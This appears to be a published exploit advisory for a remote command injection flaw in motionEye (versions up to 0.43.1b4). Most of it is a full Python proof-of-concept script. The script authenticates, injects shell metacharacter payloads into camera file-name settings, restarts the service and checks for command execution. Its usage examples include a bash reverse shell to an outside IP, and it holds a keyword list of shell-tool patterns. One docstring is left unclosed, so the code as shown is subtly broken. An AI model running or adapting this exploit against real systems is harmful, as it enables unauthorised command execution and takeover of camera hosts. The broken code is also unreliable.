=============================================================================================================================================
| # Title     : motionEye ≤ 0.43.1b4 Remote Command Injection Vulnerability                                                                 |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
| # Vendor    : https://github.com/motioneye-project/                                                                                       |
=============================================================================================================================================

[+] Summary    :  A remote command injection vulnerability exists in motionEye versions up to and including 0.43.1b4. 
                  The issue arises from improper validation and sanitization of user‑supplied input within camera configuration parameters. 
				  Under certain conditions, authenticated users can inject crafted input that is later interpreted by the underlying system shell.
                  Successful exploitation may allow arbitrary command execution on the host system running motionEye, potentially leading to full 
				  system compromise, data exfiltration, service disruption, or lateral movement within the network.
                  The vulnerability stems from insufficient input handling and unsafe command construction logic when processing configuration values.
[+] POC : 

#!/usr/bin/env python3

import requests
import sys
import time
import re
import json
import logging
from typing import Optional, Dict, List, Tuple, Set, Any
from urllib3.exceptions import InsecureRequestWarning
from requests.exceptions import RequestException, Timeout, ConnectionError

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

logging.basicConfig(
    level=logging.INFO,
    format='[%(asctime)s] %(levelname)s: %(message)s',
    datefmt='%H:%M:%S'
)
logger = logging.getLogger(__name__)


try:
    from bs4 import BeautifulSoup
    BS_AVAILABLE = True
except ImportError:
    BS_AVAILABLE = False
    logger.warning("BeautifulSoup not installed. HTML parsing will be limited.")
    logger.warning("Install with: pip install beautifulsoup4")

class MotionEyeExploitError(Exception):
    """Custom exception for MotionEye exploit errors."""
    pass

class MotionEyeExploit:

    SESSION_COOKIE_NAMES = {'session', 'motioneye.session', 'meye_session', 'beaker.session.id'}
    SUCCESS_INDICATORS = {
        'success', 'saved', 'updated', 'applied', 'configuration saved'
    }
    
    def __init__(self, target_url: str, username: str = "admin", password: str = "", timeout: int = 30):
        self.target_url = target_url.rstrip('/')
        self.username = username
        self.password = password
        self.default_timeout = timeout
        self.session = requests.Session()
        self.session.verify = False
        self.csrf_token: Optional[str] = None
        self.cameras: List[Dict] = []
        self.authenticated = False
        self.session_cookie_name: Optional[str] = None
        self.last_command: Optional[str] = None
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate, br',
            'Connection': 'keep-alive',
            'Upgrade-Insecure-Requests': '1',
        })
    
    def _check_dependencies(self) -> bool:
        """Check if required dependencies are available."""
        if not BS_AVAILABLE:
            logger.error("BeautifulSoup is required for reliable HTML parsing.")
            logger.error("Install it with: pip install beautifulsoup4")
            return False
        return True
    
    def _extract_csrf_token(self, html_content: str) -> Optional[str]:
        """
        Extract CSRF token from HTML content using multiple methods.
        """

        patterns = [
            r'name=["\']csrf_token["\']\s+value=["\']([^"\']+)["\']',
            r'name=["\']csrf_token["\']\s+content=["\']([^"\']+)["\']',
            r'csrf_token[=:]\s*["\']([^"\']+)["\']',
            r'data-csrf-token=["\']([^"\']+)["\']',
            r'var\s+csrf_token\s*=\s*["\']([^"\']+)["\']',
        ]
        
        for pattern in patterns:
            match = re.search(pattern, html_content, re.IGNORECASE)
            if match:
                token = match.group(1)
                logger.debug(f"Found CSRF token via regex: {token[:10]}...")
                return token

        if BS_AVAILABLE:
            try:
                soup = BeautifulSoup(html_content, 'html.parser')

                csrf_input = soup.find('input', {'name': 'csrf_token'})
                if csrf_input and csrf_input.get('value'):
                    return csrf_input['value']

                meta_tag = soup.find('meta', {'name': 'csrf_token'})
                if meta_tag and meta_tag.get('content'):
                    return meta_tag['content']

                scripts = soup.find_all('script')
                for script in scripts:
                    if script.string:
                        var_match = re.search(r'csrf_token\s*=\s*["\']([^"\']+)["\']', script.string)
                        if var_match:
                            return var_match.group(1)
            except Exception as e:
                logger.debug(f"BeautifulSoup parsing error: {e}")
        
        logger.warning("Could not extract CSRF token")
        return None
    
    def _has_valid_session(self) -> bool:
        """
        Check if the current session has a valid authentication cookie.
        """
        if not self.session.cookies:
            logger.debug("No cookies found in session")
            return False

        session_cookies_found = []
        for cookie_name in self.session.cookies.keys():
            if cookie_name.lower() in self.SESSION_COOKIE_NAMES:
                session_cookies_found.append(cookie_name)
                self.session_cookie_name = cookie_name
                logger.debug(f"Found potential session cookie: {cookie_name}")
        
        if session_cookies_found:
            logger.debug(f"Session cookies found: {session_cookies_found}")
            return True
        
        logger.debug("No known session cookie names found")
        return False
    
    def _verify_dashboard_access(self) -> bool:
        """
        Verify we can access the dashboard by checking for specific elements.
        """
        try:
            response = self._make_request('GET', '/', timeout=10)
            if not response or response.status_code != 200:
                logger.debug("Dashboard access failed: HTTP error")
                return False

            if BS_AVAILABLE:
                try:
                    soup = BeautifulSoup(response.text, 'html.parser')

                    dashboard_indicators = [
                        soup.find('div', {'id': 'dashboard'}),
                        soup.find('div', {'class': 'dashboard'}),
                        soup.find('div', {'data-page': 'dashboard'}),
                        soup.find('a', href=re.compile(r'/camera-\d+')),
                        soup.find('button', string=re.compile(r'cameras?', re.I)),
                        soup.find('span', string=re.compile(r'motioneye', re.I)),
                    ]
                    
                    if any(dashboard_indicators):
                        logger.debug("Dashboard access verified via BeautifulSoup")
                        return True
                except Exception as e:
                    logger.debug(f"BeautifulSoup dashboard verification failed: {e}")

            dashboard_patterns = [
                r'dashboard',
                r'camera-\d+',
                r'motioneye',
                r'still_images',
                r'movies',
            ]
            
            for pattern in dashboard_patterns:
                if re.search(pattern, response.text, re.I):
                    logger.debug(f"Dashboard access verified via regex pattern: {pattern}")
                    return True
            
            logger.debug("No dashboard indicators found in response")
            return False
            
        except Exception as e:
            logger.debug(f"Dashboard verification error: {e}")
            return False
    
    def _make_request(self, method: str, endpoint: str, **kwargs) -> Optional[requests.Response]:
        """
        Make HTTP request with proper error handling and timeout.
        """
        url = f"{self.target_url}{endpoint}"

        if 'timeout' not in kwargs:
            kwargs['timeout'] = self.default_timeout
        
        max_retries = kwargs.pop('max_retries', 2)
        
        for attempt in range(max_retries):
            try:
                logger.debug(f"Making {method} request to {endpoint} (attempt {attempt + 1})")
                response = self.session.request(method, url, **kwargs)

                logger.debug(f"Response status: {response.status_code}")
                logger.debug(f"Response headers: {dict(response.headers)}")
                
                return response
                
            except Timeout as e:
                logger.warning(f"Request timeout to {endpoint} (attempt {attempt + 1}): {e}")
            except ConnectionError as e:
                logger.warning(f"Connection error to {endpoint}: {e} (attempt {attempt + 1})")
            except RequestException as e:
                logger.warning(f"Request failed for {endpoint}: {e} (attempt {attempt + 1})")
            
            if attempt < max_retries - 1:
                wait_time = 1 * (attempt + 1)
                logger.debug(f"Waiting {wait_time} seconds before retry...")
                time.sleep(wait_time)
        
        logger.error(f"All {max_retries} attempts failed for {endpoint}")
        return None
    
    def login(self) -> bool:
        """
        Authenticate to motionEye and establish session.
        """
        logger.info(f"Attempting login to {self.target_url} as {self.username}")

        if self._has_valid_session():
            logger.debug("Found session cookies, verifying dashboard access...")
            if self._verify_dashboard_access():
                logger.info("Already have valid session")
                self.authenticated = True
                return True
            else:
                logger.debug("Session cookies present but cannot access dashboard")

        response = self._make_request('GET', '/')
        if not response:
            logger.error("Failed to fetch login page")
            return False

        self.csrf_token = self._extract_csrf_token(response.text)
        if not self.csrf_token:
            logger.error("Could not extract CSRF token from login page")
            return False
        
        logger.debug(f"CSRF token extracted: {self.csrf_token[:10]}...")

        login_data = {
            'username': self.username,
            'password': self.password,
            'csrf_token': self.csrf_token
        }

        response = self._make_request(
            'POST', '/login', 
            data=login_data, 
            allow_redirects=False,
            max_retries=1  
        )
        
        if not response:
            return False

        login_success = False

        if response.status_code == 302:
            location = response.headers.get('Location', '')
            if location == '/' or 'dashboard' in location:
                login_success = True
                logger.debug("Login success via 302 redirect")

        elif response.status_code == 200:

            if self._has_valid_session():
                login_success = True
                logger.debug("Login success via session cookie")

            elif 'window.location' in response.text and ('/' in response.text or 'dashboard' in response.text):
                login_success = True
                logger.debug("Login success via JavaScript redirect")
        
        if login_success:

            if self._verify_dashboard_access():
                logger.info("Login successful - dashboard accessible")
                self.authenticated = True
                return True
            else:
                logger.warning("Login seemed successful but dashboard not accessible")

                if self._has_valid_session():
                    self.authenticated = True
                    return True
        else:
            logger.error(f"Login failed. Status code: {response.status_code}")
        
        return False
    
    def get_cameras(self, force_refresh: bool = False) -> bool:
        """
        Fetch list of available cameras from the dashboard.
        
        Args:
            force_refresh: If True, clear existing camera list before fetching
        """
        if force_refresh:
            self.cameras.clear()
            logger.debug("Cleared existing camera list")
        elif self.cameras:
            logger.debug(f"Using cached camera list ({len(self.cameras)} cameras)")
            return True
        
        logger.info("Fetching list of cameras")
        
        if not self.authenticated and not self.login():
            logger.error("Not authenticated")
            return False
        
        response = self._make_request('GET', '/')
        if not response:
            return False

        cameras_found = set()  
        
        if BS_AVAILABLE:
            try:
                soup = BeautifulSoup(response.text, 'html.parser')

                camera_links = soup.find_all('a', href=re.compile(r'^/camera-\d+'))
                for link in camera_links:
                    camera_id = link.get('href').strip('/')
                    if camera_id and camera_id not in cameras_found:
                        camera_name = link.get_text().strip()
                        self.cameras.append({
                            'id': camera_id,
                            'name': camera_name or camera_id
                        })
                        cameras_found.add(camera_id)

                camera_divs = soup.find_all('div', {'data-camera-id': True})
                for div in camera_divs:
                    camera_id = div.get('data-camera-id')
                    if camera_id and camera_id not in cameras_found:
                        self.cameras.append({
                            'id': camera_id,
                            'name': div.get('data-camera-name', camera_id)
                        })
                        cameras_found.add(camera_id)

                camera_options = soup.find_all('option', value=re.compile(r'^camera-\d+'))
                for option in camera_options:
                    camera_id = option.get('value')
                    if camera_id and camera_id not in cameras_found:
                        self.cameras.append({
                            'id': camera_id,
                            'name': option.get_text().strip() or camera_id
                        })
                        cameras_found.add(camera_id)
                        
            except Exception as e:
                logger.error(f"Error parsing cameras with BeautifulSoup: {e}")
        
        if not self.cameras:
            logger.debug("Using regex fallback for camera detection")
            camera_matches = re.findall(r'/camera-(\d+)', response.text)
            for camera_num in set(camera_matches):  
                camera_id = f"camera-{camera_num}"
                self.cameras.append({
                    'id': camera_id,
                    'name': f"Camera {camera_num}"
                })

        if not self.cameras:
            logger.warning("No cameras found, using default 'camera-1'")
            self.cameras.append({'id': 'camera-1', 'name': 'Default Camera'})
        
        logger.info(f"Found {len(self.cameras)} unique camera(s): {[c['id'] for c in self.cameras]}")
        return True
    
    def _escape_for_transport(self, command: str) -> str:
        """
        Escape a command for safe transport in HTTP POST data.
        This ensures the command is properly transmitted, not escaped for shell.
        """

        escaped = command.replace('\\', '\\\\').replace('"', '\\"').replace("'", "\\'")

        dangerous_chars = ['`', '$', '(', ')', '|', '&', ';', '<', '>', '*', '?', '[', ']', '{', '}']
        found_chars = [c for c in dangerous_chars if c in command]
        
        if found_chars:
            logger.info(f"Command contains shell metacharacters: {found_chars}")
            logger.debug("These are INTENTIONAL for command injection")
        
        return escaped
    
    def _check_response_success(self, response: requests.Response) -> Tuple[bool, str]:
        """
        Check if a response indicates successful configuration update.
        Returns (success, message)
        """

        if response.status_code not in [200, 201, 202, 204, 302]:
            return False, f"HTTP {response.status_code}"

        try:
            json_data = response.json()
            if isinstance(json_data, dict):

                if json_data.get('status') == 'ok':
                    return True, "JSON status: ok"
                if json_data.get('success') is True:
                    return True, "JSON success: true"
                if json_data.get('error'):
                    return False, f"JSON error: {json_data['error']}"
        except (json.JSONDecodeError, ValueError):

            pass

        response_text = response.text.lower()

        error_patterns = ['error', 'fail', 'invalid', 'denied', 'forbidden']
        has_error = any(pattern in response_text for pattern in error_patterns)
        
        if has_error:

            success_found = any(indicator.lower() in response_text for indicator in self.SUCCESS_INDICATORS)
            
            if success_found:

                logger.warning("Response contains both success and error indicators")
                return False, "Ambiguous response (both success and error)"
            else:
                return False, "Error indicators found"

        for indicator in self.SUCCESS_INDICATORS:
            if indicator.lower() in response_text:
                return True, f"Found indicator: {indicator}"

        if response.status_code == 302:
            location = response.headers.get('Location', '')
            if 'success' in location.lower() or 'saved' in location.lower():
                return True, f"Redirect to: {location}"
        
        return False, "No success indicators found"
    
    def inject_payload(self, camera_id: str, command: str) -> bool:
        """
        Inject malicious payload into camera configuration.

        safe_command = self._escape_for_transport(command)

        payload_variants = [
            f"$({safe_command}).%Y-%m-%d-%H-%M-%S",  
            f"`{safe_command}`.%Y-%m-%d-%H-%M-%S",  
            f";{safe_command};.%Y-%m-%d-%H-%M-%S",  
            f"|{safe_command}|.%Y-%m-%d-%H-%M-%S", 
        ]
        
        logger.info(f"Injecting payload into camera: {camera_id}")

        response = self._make_request('GET', '/', timeout=10)
        if response:
            token = self._extract_csrf_token(response.text)
            if token:
                self.csrf_token = token
                logger.debug("Refreshed CSRF token")

        endpoints = [
            f"/{camera_id}/config/set",
            "/config/set",
            f"/{camera_id}/edit",
            "/config/update",
            "/settings/camera",
        ]
        
        for endpoint in endpoints:
            for idx, payload in enumerate(payload_variants):
                logger.debug(f"Trying endpoint: {endpoint} with payload variant {idx + 1}")
                
                data = {
                    'still_images_image_file_name': payload,
                    'movie_file_name': payload, 
                    'timelapse_file_name': payload,
                }
                
                if self.csrf_token:
                    data['csrf_token'] = self.csrf_token

                headers = {}
                if self.csrf_token:
                    headers['X-CSRFToken'] = self.csrf_token
                
                response = self._make_request('POST', endpoint, data=data, headers=headers)
                if not response:
                    continue

                success, message = self._check_response_success(response)
                if success:
                    logger.info(f"Payload injected successfully via {endpoint}")
                    logger.debug(f"Success message: {message}")
                    return True
                
                logger.debug(f"Endpoint {endpoint} returned: {message}")
        
        logger.error(f"Failed to inject payload through any endpoint for camera {camera_id}")
        return False
    
    def restart_motion(self) -> bool:
        """
        Attempt to restart motion service through various endpoints.
        """
        logger.info("Attempting to restart motion service")
        
        if not self.authenticated and not self.login():
            logger.error("Not authenticated")
            return False
        
        restart_endpoints = [
            ('/action/restart', 'POST', {}),
            ('/action/restart_motion', 'POST', {}),
            ('/action/restart_all', 'POST', {}),
            ('/config/restart', 'POST', {}),
            ('/restart', 'GET', {}),
            ('/api/restart', 'POST', {'Content-Type': 'application/json'}),
        ]
        
        for endpoint, method, headers in restart_endpoints:
            logger.debug(f"Trying {method} {endpoint}")
            
            data = {}
            if self.csrf_token and method == 'POST':
                data['csrf_token'] = self.csrf_token
            
            try:
                if method == 'POST':
                    response = self._make_request('POST', endpoint, data=data, headers=headers)
                else:
                    response = self._make_request('GET', endpoint, headers=headers)
                
                if response:

                    if response.status_code in [200, 202, 204, 302]:
                        logger.info(f"Restart triggered via {endpoint}")
                        return True
                    else:
                        logger.debug(f"Endpoint {endpoint} returned {response.status_code}")
            except Exception as e:
                logger.debug(f"Error with {endpoint}: {e}")
                continue
        
        logger.warning("Could not trigger restart automatically")
        return False
    
    def verify_exploit(self, expected_file: str = "/tmp/pwned_verified") -> bool:
        """
        Verify if the exploit was successful by checking for expected evidence.
        Returns True if verification succeeded, False if failed or inconclusive.
        """
        logger.info("Verifying exploit success...")

        if self.last_command and 'touch' in self.last_command:

            touch_match = re.search(r'touch\s+([^\s;|&]+)', self.last_command)
            if touch_match:
                expected_file = touch_match.group(1)
                logger.info(f"Looking for created file: {expected_file}")

        filename = expected_file.split('/')[-1] if '/' in expected_file else expected_file
        
        web_paths = [
            f"/motion/{filename}",
            f"/static/{filename}",
            f"/media/{filename}",
            f"/{filename}",
        ]
        
        for web_path in web_paths:
            response = self._make_request('GET', web_path, timeout=10)
            if response and response.status_code == 200:
                logger.info(f"Found expected file at {web_path}")
                return True

        logger.info("=" * 60)
        logger.info("MANUAL VERIFICATION REQUIRED:")
        logger.info(f"Target: {self.target_url}")
        logger.info(f"Command executed: {self.last_command or 'unknown'}")
        logger.info(f"Expected evidence: {expected_file}")
        logger.info("\nTo verify on Docker:")
        logger.info(f"  docker exec motioneye ls -la {expected_file}")
        logger.info("\nTo verify on system:")
        logger.info(f"  ls -la {expected_file}")
        logger.info("\nTo verify via web (if accessible):")
        logger.info(f"  curl -k {self.target_url}/motion/")
        logger.info("=" * 60)
        
        return False  
    
    def run(self, command: str) -> Dict[str, bool]:
        """
        Execute the full exploit chain.
        Returns dictionary with status of each step.
        """
        results = {
            'login': False,
            'cameras': False,
            'injection': False,
            'restart': False,
            'verification': False,
            'overall': False
        }
        
        self.last_command = command  
        
        logger.info("=" * 60)
        logger.info("Starting motionEye RCE exploit")
        logger.info(f"Target: {self.target_url}")
        logger.info(f"Command: {command}")
        logger.info("=" * 60)

        if not self._check_dependencies():
            logger.error("Dependencies check failed")
            return results

        if not self.login():
            logger.error("Login failed. Exiting.")
            return results
        
        results['login'] = True

        if not self.get_cameras():
            logger.error("Failed to get camera list")
            return results
        
        results['cameras'] = True

        injection_success = False
        for camera in self.cameras:
            if self.inject_payload(camera['id'], command):
                injection_success = True
                break
        
        if not injection_success:
            logger.error("Failed to inject payload into any camera")
            results['injection'] = False
            return results
        
        results['injection'] = True
        
        if self.restart_motion():
            results['restart'] = True
        wait_time = 10
        logger.info(f"Waiting {wait_time} seconds for command execution...")
        time.sleep(wait_time)

        results['verification'] = self.verify_exploit()
        results['overall'] = injection_success     
        logger.info("=" * 60)
        logger.info("Exploit execution completed")
        logger.info(f"Results: {results}")
        logger.info("=" * 60)
        
        return results

def main():
    """
    Main function with argument parsing.
    """
    import argparse
    
    parser = argparse.ArgumentParser(
        description="MotionEye <= 0.43.1b4 RCE Exploit (CVE-2025-60787)",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s -t http://192.168.1.100:8765 -c "touch /tmp/pwned"
  %(prog)s -t https://motioneye.local -c "id > /tmp/output" -v
  %(prog)s -t http://localhost:9999 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" --dangerous
        """
    )
    
    parser.add_argument('-t', '--target', required=True,
                       help='Target URL (e.g., http://127.0.0.1:8765)')
    parser.add_argument('-u', '--username', default='admin',
                       help='Username (default: admin)')
    parser.add_argument('-p', '--password', default='',
                       help='Password (default: empty)')
    parser.add_argument('-c', '--command', 
                       default='touch /tmp/pwned_by_exploit',
                       help='Command to execute (default: touch /tmp/pwned_by_exploit)')
    parser.add_argument('-v', '--verbose', action='store_true',
                       help='Enable verbose output')
    parser.add_argument('--dangerous', action='store_true',
                       help='Acknowledge that the command may be dangerous')
    parser.add_argument('--camera', help='Specific camera ID to target (default: auto-detect)')
    parser.add_argument('--timeout', type=int, default=30,
                       help='Request timeout in seconds (default: 30)')
    
    args = parser.parse_args()

    if args.verbose:
        logger.setLevel(logging.DEBUG)

    dangerous_patterns = ['bash -i', 'nc ', 'reverse', 'shell', 'exec', '/dev/tcp/']
    if any(pattern in args.command.lower() for pattern in dangerous_patterns) and not args.dangerous:
        logger.warning(" Command appears to be potentially dangerous!")
        logger.warning("Use --dangerous flag to proceed with this command")
        sys.exit(1)

    exploit = MotionEyeExploit(
        target_url=args.target,
        username=args.username,
        password=args.password,
        timeout=args.timeout
    )

    try:
        results = exploit.run(args.command)

        if results['overall']:
            if results['verification']:
                logger.info(" Exploit fully successful - command execution verified")
                sys.exit(0)
            else:
                logger.info("  Exploit likely successful - manual verification required")
                sys.exit(2)  
        else:
            logger.error(" Exploit failed")
            sys.exit(1)
            
    except KeyboardInterrupt:
        logger.info("\nExploit interrupted by user")
        sys.exit(130)
    except Exception as e:
        logger.error(f"Unexpected error: {e}")
        if args.verbose:
            import traceback
            traceback.print_exc()
        sys.exit(1)

if __name__ == "__main__":
    main()
	
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================